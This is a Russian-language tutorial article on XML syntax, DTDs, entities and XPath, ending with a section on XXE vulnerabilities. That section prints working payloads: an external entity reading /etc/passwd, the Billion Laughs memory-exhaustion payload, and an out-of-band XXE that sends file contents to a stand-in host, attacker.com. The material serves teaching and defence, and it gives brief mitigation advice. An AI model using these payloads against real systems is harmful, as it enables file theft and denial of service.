Веб-безопасность/Уязвимости XXE
XML
XML (eXtensible Markup Language) - расширяемый язык разметки. Предназначен для передачи данных.
<?xml version="1.0" encoding="UTF-8"?>
<note>
   <to>Tove</to>
   <from>Jani</from>
   <heading>Напоминание</heading>
   <body>Не забудь обо мне в эти выходные!</body>
</note>
Сходства и различия XML и HTML
- XML - 1998 год, HTML - 1992 год
- XML - задача передачи данных, HTML - отображение данных
- XML - теги не предопределены, HTML - теги предопределены
- XML нужно закрывать теги (нет автодополнение, как в HTML)
- Оба имеют древовидную структуру
и многие другие сходства и различия
Структура XML документа
XML документы формируют древовидную структуру. У каждого XML документа обязан быть корень.
<корневой>
   <потомок>
      <подпотомок>.....</подпотомок>
   </потомок>
</корневой>
Пример:
<bookstore>
   <book category="COOKING">
      <title lang="en">Everyday Italian</title>
      <author>Giada De Laurentiis</author>
      <year>2005</year>
      <price>30.00</price>
   </book>
   <book category="CHILDREN">
      <title lang="en">Harry Potter</title>
      <author>J K. Rowling</author>
      <year>2005</year>
      <price>29.99</price>
   </book>
</bookstore>
его дерево:
Синтаксис XML
Отметим некоторые особенности синтксиса XML:
- В XML нельзя опускать закрывающий тег. Абсолютно все элементы должны закрываться.
<p>Это неправильно
<p>Это правильно</p>
- Теги XML являются регистрозависимыми.
<Message>Это неправильно</message>
<message>Это правильно</message>
- XML элементы должны соблюдать корректную вложенность.
<b><i>Это жирный и курсивный текст, такое иногда работает в html, но никогда в xml</b></i>
<b><i>Это жирный и курсивный текст, корректная вложенность тегов</i></b>
XML пролог
Пример:
<?xml version="1.0" encoding="UTF-8"?>
Здесь version - версия xml, encoding - кодировка xml-документа. Пролог не обязателен, но если есть, то должен быть первой строкой документа. Если пролога нет, будет считаться, что используется версия XML 1.0. UTF-8 — кодировка XML документов по умолчанию.
Атрибуты тегов
Пример:
<note date="12/11/2007">
date - пример атрибута тега. Значение атрибута тега обязано быть в кавычках.
Комментарии
Комментарии в XML такие же, как и в HTML.
<!-- Это комментарий -->
В XML пробелы сохраняются, в HTML несколько последовательных пробельных символов усекаются до одного.
Синтаксически верный XML документ
Если XML документ составлен в соответствии с приведенными синтаксическими правилами, то говорят, что это "синтаксически верный" XML документ.
XML элементы
XML элемент — это все от (и включая) начального тега элемента до (и включая) конечного тега элемента. Элемент может содержать:
- другие элементы
- текст
- атрибуты
- или набор из всего выше названного
Например, в следующем XML документе 11 элементов:
<bookstore>
   <book category="CHILDREN">
      <title>Harry Potter</title>
      <author>J K. Rowling</author>
      <year>2005</year>
      <price>29.99</price>
   </book>
   <book category="WEB">
      <title>Learning XML</title>
      <author>Erik T. Ray</author>
      <year>2003</year>
      <price>39.95</price>
   </book>
</bookstore>
Пространства имен
Рассмотрим два примера ниже:
<table>
   <tr>
      <td>Яблоки</td>
      <td>Бананы</td>
   </tr>
</table>
<table>
   <name>Африканский кофейный столик</name>
   <width>80</width>
   <length>120</length>
</table>
В первом случае XML код содержит информацию о HTML таблице, втором случае XML код содержит информацию о столе (предмет мебели), который по англ. тоже table. Если эти два фрагмента кода XML будут сведены вместе, то возникнет конфликт имен. Так как оба документа содержат элемент table, хотя и с разным контентом и значением. В XML избежать конфликта имен можно при помощи префикса имени элемента.
<root>
   <h:table xmlns:h="http://www.w3.org/TR/html4/">
      <h:tr>
         <h:td>Яблоки</h:td>
         <h:td>Бананы</h:td>
      </h:tr>
   </h:table>
   <f:table xmlns:f="http://www.w3schools.com/furniture">
      <f:name>Африканский кофейный столик</f:name>
      <f:width>80</f:width>
      <f:length>120</f:length>
   </f:table>
</root>
При использовании в XML префиксов необходимо определить, так называемое, пространство имен префикса. Пространство имен определяется благодаря атрибуту xmlns в начальном теге элемента. Декларация пространства имен имеет следующий синтаксис - xmlns:префикс="URI".
Унифицированный идентификатор ресурса (URI) - это символьная строка, идентифицирующая интернет-ресурс. В наиболее общей форме URI является единым указателем ресурса (URL), который идентифицирует доменный адрес в интернете. Другой, более частный вид URI — единообразное имя ресурса (URN).
Предопределенные сущности
Некоторые символы в XML имеют особые значения. Если вы поместите, например, символ "<" внутри XML элемента, то будет сгенерирована ошибка, так как парсер интерпретирует его, как начало нового элемента.
<message>если жалование < 1000</message>
Чтобы ошибка не возникала, нужно заменить "<" на его сущность:
<message>если жалование < 1000</message>
В XML существует 5 предопределенных сущностей:
| < | < | 
| > | > | 
| & | & | 
| &' | ' | 
| " | " | 
Подробнее про сущности мы поговорим ниже.
Валидные XML документы
XML документ с корректным синтаксисом называется "правильно сформированным" или "синтаксически верным". Валидный XML документ не то же самое, что и синтаксически верный XML документ, это лишь необходимое условие. "Валидный" XML документ кроме всего прочего должен соответствовать определенному типу документов. Типы определений документа:
- Более новый тип определений, основанный на XML, - XML схема.
- Оригинальное определение типа документа (DTD)
XML-Schema
XML схемы описывают структуру XML документа. Приведем пример такого описания:
<xs:element name="note"> - определяет элемент "note"
   <xs:complexType> - у элемента "note" комплексный тип
      <xs:sequence> - последовательность элементов
         <xs:element name="to" type="xs:string"/> - у элемента "to" строковый тип (текст)
         <xs:element name="from" type="xs:string"/>
         <xs:element name="heading" type="xs:string"/>
         <xs:element name="body" type="xs:string"/>
      </xs:sequence>
   </xs:complexType>
</xs:element>
- XML схема пишется на XML
- XML схема легко расширяется
- XML схема поддерживает типы данных
- XML схема поддерживает пространства имен
Document type definition
Цель DTD состоит в том, чтобы определить структуру XML документа. Это делается путем определения списка допустимых элементов:
<!DOCTYPE note [ - !DOCTYPE note определяет, что
корневым элементом документа является note
<!ELEMENT note (to,from,heading,body)> - !ELEMENT note определяет, что элемент note содержит четыре элемента: to, from, heading, body
<!ELEMENT to (#PCDATA)> - !ELEMENT to определяет, что элемент to должен быть типа "#PCDATA"
<!ELEMENT from (#PCDATA)> - !ELEMENT from определяет, что элемент from должен быть типа "#PCDATA"
<!ELEMENT heading (#PCDATA)> - !ELEMENT heading определяет, что элемент heading должен быть типа "#PCDATA"
<!ELEMENT body (#PCDATA)>]> - "!ELEMENT body определяет, что элемент body должен быть типа  "#PCDATA"
С точки зрения DTD все XML (и HTML) документы состоят из следующих строительных блоком:
- Элементы
- Атрибуты
- Сущности
- PCDATA
- CDATA
PCDATA и CDATA
PCDATA — это текст, который будет анализироваться парсером. Т.е. парсер будет проверять этот текст на наличие сущностей и другой разметки.
CDATA — это текст, который не будет анализироваться парсером. Теги внутри такого текста не будут восприняты, как вложенная разметка, а сущности не будут раскрыты. Секция CDATA начинается с символов "<![CDATA[" и заканчивается "]]>" Пример:
<script>
<![CDATA[
   function matchwo(a,b) {
      if (a < b && a < 0) then {
         return 1;
      } else {
         return 0;
      }
   }
]]>
</script>
Элементы
В DTD элементы XML определяются при помощи декларации элементов следующим образом:
<!ELEMENT имя-элемента категория>
или
<!ELEMENT имя-элемента (содержимое-элемента)>
Пустые элементы декларируются при помощи ключевого слова категории EMPTY:
<!ELEMENT имя-элемента EMPTY>
Примечание: пустой XML-элемент можно задать двумя эквивалентными способами:
<element></element>
или
<element />
Элементы, содержащие только анализируемые символьные данные, декларируются при помощи ключевого слова #PCDATA в скобках:
<!ELEMENT from (#PCDATA)>
Элементы, декларированные с ключевым словом категории ANY, могут содержать любую комбинацию анализируемых данных:
<!ELEMENT note ANY>
Элементы с одним или более потомком декларируются с именем дочернего элемента в скобках:
<!ELEMENT note (to,from,heading,body)>
Декларирование от нуля до одного элемента:
<!ELEMENT note (message?)>
Декларирование альтернативных элементов:
<!ELEMENT note (to,from,header,(message|body))>
Декларирование смешанного контента:
<!ELEMENT note (#PCDATA|to|from|header|message)*>
Декларация единичного элемента:
<!ELEMENT note (message)>
Декларация минимум одного элемента:
<!ELEMENT note (message+)>
Декларирование от нуля и больше элементов:
<!ELEMENT note (message*)>
Декларация атрибутов имеет следующий синтаксис:
<!ATTLIST имя-элемента имя-атрибута тип-атрибута значение-атрибута>
Пример:
<!ATTLIST payment type CDATA "check">
Атрибуты
Параметр "тип-атрибута" может принимать следующие значения:
| CDATA | Значение — символьные данные | 
| (en1|en2|..) | Значение должно быть из перечисленного списка | 
| ID | Значение — уникальный идентификатор | 
| IDREF | Значение — идентификатор другого элемента | 
| IDREFS | Значение — список других идентификаторов | 
| NMTOKEN | Значение — допустимое XML имя | 
| NMTOKENS | Значение — список допустимых XML имен | 
| ENTITY | Значение — сущность | 
| ENTITIES | Значение — список сущностей | 
| NOTATION | Значение — имя нотации | 
| xml: | Значение — предопределенное xml значение | 
Параметр "значение-атрибута" может принимать следующие значение:
| value | Значение атрибута по умолчанию | 
| #REQUIRED | Атрибут обязателен | 
| #IMPLIED | Атрибут не обязателен | 
| #FIXED value | Атрибут имеет фиксированное значение | 
- Value:
DTD:
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">
XML:
<square width="100" />
- #REQUIRED
Синтаксис:
<!ATTLIST имя-элемента имя-атрибута тип-атрибута #REQUIRED>
DTD:
<!ATTLIST person number CDATA #REQUIRED>
XML:
<person number="5677" />
Неправильный XML:
<person />
- #IMPLIED:
Синтаксис:
<!ATTLIST имя-элемента имя-атрибута тип-атрибута #IMPLIED>
DTD:
<!ATTLIST contact fax CDATA #IMPLIED>
XML:
<contact fax="555-667788" />
<contact />
- #FIXED:
Синтаксис:
<!ATTLIST имя-элемента имя-атрибута тип-атрибута #FIXED "значение">
DTD:
<!ATTLIST sender company CDATA #FIXED "Microsoft">
XML:
<sender company="Microsoft" />
Неправильный XML:
<sender company="MSiter" />
- Перечисленные значения атрибута:
Синтаксис:
<!ATTLIST имя-элемента имя-атрибута (en1|en2|..) значение-по-умолчанию>
DTD:
<!ATTLIST payment type (check|cash) "cash">
XML:
<payment type="check" />
или:
<payment type="cash" />
Сущности
Сущности — переменные, которые используются для определения синонимов стандартных текстовых строк или специальных символов.Сущности могут декларироваться как внутри кода, так и внешнем ресурсом.
- Пример сущности, объявленной внутри кода (internal entity):
Синтаксис:
<!ENTITY имя-сущности "значение-сущности">
DTD:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright MSiter.">
XML:
<author>&writer;©right;</author>
- Пример внешней сущности (external entity):
Синтаксис:
<!ENTITY имя-сущности SYSTEM "URI/URL">
DTD:
<!ENTITY writer SYSTEM "http://anysite.org/entities.dtd">
<!ENTITY copyright SYSTEM "http://anysite.org/entities.dtd">
XML:
<author>&writer;©right;</author>
Парсеры
Все современные браузеры имеют встроенный XML парсер. Парсеры бывают валидирующими и невалидирующими.
Валидирующий парсер - парсер, который проверяет на соответствие правилам, описанных в XML-схеме или DTD. Валидирующий парсер обязан включить в документ содержимое внешнего файла, невалидирующий — по желанию. На практике это свойство «по желанию» выполняется практически у всех популярных парсеров.
SOAP и XML-RPC
XML-RPC (Extensible Markup Language Remote Procedure Call) — стандарт/протокол вызова удалённых процедур, использующий XML для кодирования своих сообщений и HTTP в качестве транспортного механизма.
SOAP (Simple Object Access Protocol) - протокол обмена структурированными сообщениями в распределённой вычислительной среде. Расширение протокола XML-RPC. В SOAP запрещено подключение внешних сущностей, XML-RPC - не запрещено.
XXE
XXE - XML eXternal Entity - одна из известнейших уязвимостей в Интернете. Занимает четвёртую строчка рейтинга в OWASP Top 10. XXE - это атака на приложение, которое производит обработку XML. Она возможна, когда XML-парсер поддерживает возможность обрабатывать внешние сущности. Приводит к раскрытию конфиденциальной информации, чтению файлов, SSRF.
SSRF (Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.
Пример
Пусть есть сайт-форум. Предположим, что вы написали пост и отправили его на сайт. Будем считать, что для общения с сервером наше клиентское приложение отправляет XML-документы с логином и вашим сообщением.
<?xml version="1.0" encoding="utf-8"?>
<user>
    <Login>Vasya123</Login>
    <Massage>всем привет!</Massage>
</user>
Далее, приложение на сервере присылает всем XML-документ с новым сообщением. Попробуем подключить внешнюю сущность.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>
    <Login>Vasya123</Login>
    <Massage>&xxe;</Massage>
</user>
Нам вернется /etc/passwd.
Есть три варианта того, как реализовано приложение:
- Веб-сервисы, реализующие протокол SOAP. В спецификации явно указано, что запрещено подключать внешние сущности. НО, не все приложения, реализующие протокол SOAP, полностью реализуют спецификацию.
- Приложения, реализующие протокол XML-RPC. В спецификации не запрещено подключать внешние сущности.
- Custom-приложения, работающие с XML. Высока вероятность, что не запрещено подключать внешние сущности. Особенно, если приложение использует свой парсер.
Как избежать XXE на своем сервисе?
- Не использовать XML
- Проверьте возможность подключения DTD схем или External Entities. Если данная возможность включена, явно выключите её
- Примите защитные меры для своего парсера
Ещё немного XML
Сущности
- предопределенные сущности (predefined entities) - заранее определенные сущности, например <для<или—для—
- внутренние сущности (internal entities) - связывают имя с любым текстовым содержимым, определенным в их декларации
- внешние сущности (external entities) - связывают имя и внешний ресурс
- параметрические сущности (parameter entity) - применяется для описания в DTD (обозн. %)
- общие сущности (general entity) - применяется в самом XML документе
XPath
- XPath - язык запросов к элементам XML документа
- XPath использует маршрутные выражения для навигации по XML документам
- XPath содержит библиотеку стандартных функций
- XPath - главный элемент в XSLT
XPath использует маршрутные выражения для выбора узлов или узловых наборов в XML документе. Эти маршрутные выражения похожи на те выражения, которые можно увидеть при работе с традиционными файловыми системами. В настоящее время выражения XPath можно использовать в JavaScript, Java, XML схемах, PHP, Python, C и C++, а также во множестве других языках программирования.
Пример
Рассмотрим пример некоторых маршрутных выражений. XML документ:
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
   <book category="COOKING">
      <title lang="en">Everyday Italian</title>
      <author>Giada De Laurentiis</author>
      <year>2005</year>
      <price>30.00</price>
   </book>
   <book category="CHILDREN">
      <title lang="en">Harry Potter</title>
      <author>J K. Rowling</author>
      <year>2005</year>
      <price>29.99</price>
   </book>
   <book category="WEB">
      <title lang="en">XQuery Kick Start</title>
      <author>James McGovern</author>
      <author>Per Bothner</author>
      <author>Kurt Cagle</author>
      <author>James Linn</author>
      <author>Vaidyanathan Nagarajan</author>
      <year>2003</year>
      <price>49.99</price>
   </book>
   <book category="WEB">
      <title lang="en">Learning XML</title>
      <author>Erik T. Ray</author>
      <year>2003</year>
      <price>39.95</price>
   </book>
</bookstore>
| Выражение XPath | Результат | 
|---|---|
| /bookstore/book[1] | Выбирает первый элемент book, который является потомком элемента bookstore | 
| /bookstore/book[last()] | Выбирает последний элемент book, который является потомком элемента bookstore | 
| /bookstore/book[last()-1] | Выбирает предпоследний элемент book, который является потомком элемента bookstore | 
| /bookstore/book[position()<3] | Выбирает первые два элемента book, которые являются потомками элемента bookstore | 
| //title[@lang] | Выбирает все элементы title с атрибутом lang | 
| //title[@lang='en'] | Выбирает все элементы title с атрибутом lang, который имеет значение 'en' | 
| /bookstore/book[price>35.00] | Выбирает все элементы book, которые являются потомками элемента bookstore и которые содержать элемент price со значением больше 35.00 | 
| /bookstore/book[price>35.00]/title | Выбирает все элементы title элементов book элементов bookstore, которые содержать элемент price со значением больше 35.00 | 
XInclude
XInclude - механизм включений в XML-документы текстовых файлов или других XML-документов. Рассмотрим пример.
Исходный документ:
  <?xml version='1.0' encoding="UTF-8"?>
  <document xmlns:xi="http://www.w3.org/2001/XInclude">
    <p>Текст моего документа</p>
    <xi:include href="copyright.xml"/>
  </document>
copyright.xml:
  <?xml version='1.0' encoding="UTF-8"?>
  <copyright>Все права защищены © 2001-2010</copyright>
Итогом обработки исходного документа процессором XInclude результатом является следующий документ:
  <?xml version='1.0' encoding="UTF-8"?>
  <document xmlns:xi="http://www.w3.org/2001/XInclude">
    <p>Текст моего документа</p>
    <copyright>Все права защищены © 2001-2010</copyright>
  </document>
XXE
Billion laughs attack
Атака на XML-парсер, цель которой вызвать отказ в обслуживании посредством перегрузки оперативной памяти парсера. Однако стоит учитывать, что некоторые XML-парсеры автоматически ограничивают доступный объем памяти.
Пример:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Атака на сложные типы файлов
Office Open XML (в частности DOCX) — серия форматов файлов для хранения электронных документов пакетов офисных приложений. Формат представляет собой zip-архив, содержащий текст в виде XML, графику и другие данные. Соответственно, открыв docx-файл архиватором, можно увидеть примерно следующую структуру.
Docx-файл, содержащий запись "Hello world", имеет /word/document.xml следующего вида:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document 
...
w:rsidRDefault="006E34D8"><w:pPr><w:rPr><w:lang 
w:val="en-US"/></w:rPr></w:pPr><w:r><w:rPr><w:lang 
w:val="en-US"/></w:rPr><w:t>Hello world</w:t></w:r><w:bookmarkStart w:id="0"
Пример
Пусть есть сайт, на который можно загружать docx-файлы и просматривать загруженные. Отправим на сайт наш файл, в который добавим описание сущности
и её вызов, изменив имя файла.
Исходный документ:
Измененный документ:
Далее, в момент отображения имени файла, будет обработана сущность &test; и выедено содержание файла /etc/passwd.
Ссылки на сущности
Существуют два вида ссылок на сущности (entity references):
- parameter entity references (%) применяется для описания в DTD
- general entity references (&) применяется в самом XML документе
Пример
- парсим DTD
- обнаружена внешняя сущность remote
- remote делает запрос. http://evilhost/evil.xml парсится
- обнаружена внешняя параметрическая сущность payload, читает файл
- обнаружена параметрическая сущность param1, создает внутреннюю сущность internal
- инъекция подготовлена, но файл пока не прочитан
- файл evil.xml валидный и заменяет сущность remote в изначальном файле
- происходит ссылка на параметрическую param1 и мы получаем контроль над сущностью internal, которая не является внешней
Out-of-band XXE
Атаки XXE бывают двух видов: in-band и out-of-band. Первый тип позволяет атакующем сразу получить ответ на полезную нагрузку. В случае out-of-band (или blind) XXE немедленного вывода нет.
Схема OOB XXE:
Пример
Запрос:
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>
attacker.com/evil.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;
Атака происходит следующим образом:
- XML-парсер обрабатывает параметрическую сущность %file, в которую загружается содержимое файла/etc/passwd
- XML-парсер совершает запрос к DTD файлу атакующего по адресу http://attack.example.com/evil.dtd
- XML-парсер анализирует DTD файл атакующего, параметрическая сущность %allсоздает обычную сущность&send, которая содержит URL. Данный URL включает содержимое файла (http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh…)
- после того, как URL будет сконструировано, XML-парсер обработает сущность &send, которая совершить запрос к серверу атакующего.
- атакующий может обратиться к логам запросов своего сервера и реконструировать содержимое файла
Стоит учитывать, что если в файле будет содержаться недопустимые для URL символы, то это может привести к неполному выводу.






